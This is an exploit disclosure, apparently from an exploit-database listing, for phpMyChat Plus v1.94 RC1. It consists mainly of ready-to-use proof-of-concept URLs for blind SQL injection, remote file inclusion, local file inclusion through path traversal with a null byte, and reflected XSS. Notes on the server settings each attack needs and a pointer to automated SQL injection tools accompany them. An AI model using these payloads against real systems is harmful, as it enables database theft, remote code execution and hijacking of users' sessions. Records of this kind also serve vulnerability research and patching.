############################################
### Exploit Title: phpMyChat Plus v1.94 RC1 Multiple Remote Vulnerabilities
### Date: 04/10/2012
### Author: L0n3ly-H34rT
### Contact: l0n3ly_h34rt@hotmail.com
### My Site: http://se3c.blogspot.com/
### Vendor Link: http://sourceforge.net/projects/phpmychat/
### Software Link: http://sourceforge.net/projects/phpmychat/files/latest/download
### Version: 1.94 RC1
### Tested on: Linux/Windows
############################################
1- Remote Blind SQL Injection :
# P.O.C :
http://localhost/plus/users_popuph.php?B=1&From=remotelogin.php&L=hebrew&LastCheck=[Blind SQL]
----------------------------------------------------------------------------------------
2- Remote File Inclusion :
# P.O.C :
http://localhost/plus/install/old/install.php?ChatPath=http://127.0.0.1/c.txt?
----------------------------------------------------------------------------------------
3- Local File Inclusion :
- Based on this exploit :
http://www.exploit-db.com/exploits/17213/
# P.O.C :
http://localhost/plus/install/old/install.php?ChatPath=../../../../../../boot.ini%00
http://localhost/plus/install/old/install.php?L=../../../../../../boot.ini%00
---------------------------------------------------------------------------------------
4- XSS :
# P.O.C :
http://localhost/plus/input.php?D=20&From=remotelogin.php&L=serbian_latin&N=10&NT=1&O=1&R=Public Room 1&ST=1&T=1&U=[XSS]&Ver=H
http://localhost/plus/users_popuph.php?B=1&From=remotelogin.php&L=chinese_traditional&LastCheck=[XSS]
############################################
# Notes :
1- For Remote Blind SQL Injection ( you can use some automatic blind sql injection to get database informations ).
2- For Remote File Inclusion ( must be allow_url_include=On ).
3- For Local File Inclusion ( must be magic_quotes_gpc = Off )
4- For XSS ( you must have a good brain :p )
# Greetz to my friendz
